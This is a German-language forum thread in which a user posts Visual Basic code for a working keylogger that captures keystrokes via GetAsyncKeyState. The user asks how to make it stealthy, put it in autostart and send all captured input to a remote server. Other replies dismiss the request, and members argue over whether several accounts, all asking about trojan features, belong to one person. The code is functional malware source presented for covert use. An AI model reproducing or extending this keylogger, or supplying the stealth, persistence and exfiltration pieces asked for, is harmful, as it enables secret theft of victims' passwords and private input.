KeyLogger

Hi leute ich wollte einen Keylogger Coden bis jetzt habe ich das hier:


Private Sub Timer1_Timer()
Dim X As Long

For X = 48 To 90
If CompKey(X, UCase(Chr$(X))) Then Exit Sub
If CompKey(X + 48, UCase("NUM " & Chr$(X))) Then Exit Sub
Next X

If CompKey(8, "BACKSPACE") Then Exit Sub
If CompKey(9, "TAB") Then Exit Sub
If CompKey(13, "ENTER") Then Exit Sub
If CompKey(16, "SHIFT") Then Exit Sub
If CompKey(17, "STRG") Then Exit Sub
If CompKey(18, "ALT") Then Exit Sub
If CompKey(19, "PAUSE") Then Exit Sub
If CompKey(27, "ESC") Then Exit Sub
If CompKey(33, "PAGE UP") Then Exit Sub
If CompKey(34, "PAGE DOWN") Then Exit Sub
If CompKey(35, "ENDE") Then Exit Sub
If CompKey(36, "POS1") Then Exit Sub
If CompKey(37, "LEFT") Then Exit Sub
If CompKey(38, "UP") Then Exit Sub
If CompKey(39, "RIGHT") Then Exit Sub
If CompKey(40, "DOWN") Then Exit Sub
If CompKey(44, "DRUCK") Then Exit Sub
If CompKey(45, "INSERT") Then Exit Sub
If CompKey(46, "DEL") Then Exit Sub
If CompKey(144, "NUM") Then Exit Sub
If CompKey(145, "ROLLEN") Then Exit Sub

For X = 112 To 127
If CompKey(X, "F" & CStr(X - 111)) Then Exit Sub
Next X

' usw... usw...
End Sub

Private Function CompKey(KCode As Long, KText As String) As Boolean
Dim Result As Integer

Result = GetAsyncKeyState(KCode)
If Result = -32767 Then
Text1.Text = Text1.Text & "[" & KText & "]" & vbCrLf
Text1.SelStart = Len(Text1.Text)
CompKey = True
Else
CompKey = False
End If
End Function



Also der kEylogger funzst ja aber wie kann ich ihn jetzt stealthen und so machen das er in die Autostart reingeht am besten wärs wenn man eine Textdatei auf einem Server hätte zu dem alle eingaben geschickt werden HELP

für solch ein "Hilfsprogramm" gibts schon ne Reihe Threads hier, nur mal ein bissel die Augen aufmachen und suchen...

mal ne kleine frage:
sind SpAnkY, Net_Soldier und simiswiss die selben user?
fakten, die dafür sprechen:

1. registrierungsdatum jeweils im märz diesen jahres
   
2. SpAnkY und Net_Soldier haben verschiedene homepages in ihr profil eingetragen, welche jedoch beide seit ein paar tagen nicht mehr erreichbar sind
   
3. haben bis auf Net_Soldier ausschließlich im VisualBasic-Forum gepostet
   
4. alle wollten nur irgendwelches zeugs wissen, welches auch in trojanern bzw. viren enthalten sind
   
5. einleitung der posts fast immer gleich: "hi leute", "hi zusammen", "sorry..."
   

gibt wahrscheinlich auch fakten, die dagegen sprechen, wie zum beispiel unterschiedliche profile. aber das ist ja schon ein wenig komisch, findet ihr nicht auch?

3 ganz dolle Freunde, die eh nix reißen

also nur um das mal klarzustellen:

ich komme aus der schweiz und habe keinerlei ahnung wer diese andern sind!

ich finde es schon fast ein bisschen frech andern usern sowas zu unterstelen!



naja... kann ja schon sein das es so aussieht, aber wie gesagt: das ist quatsch!



schönen sonntag noch
mfg simiswiss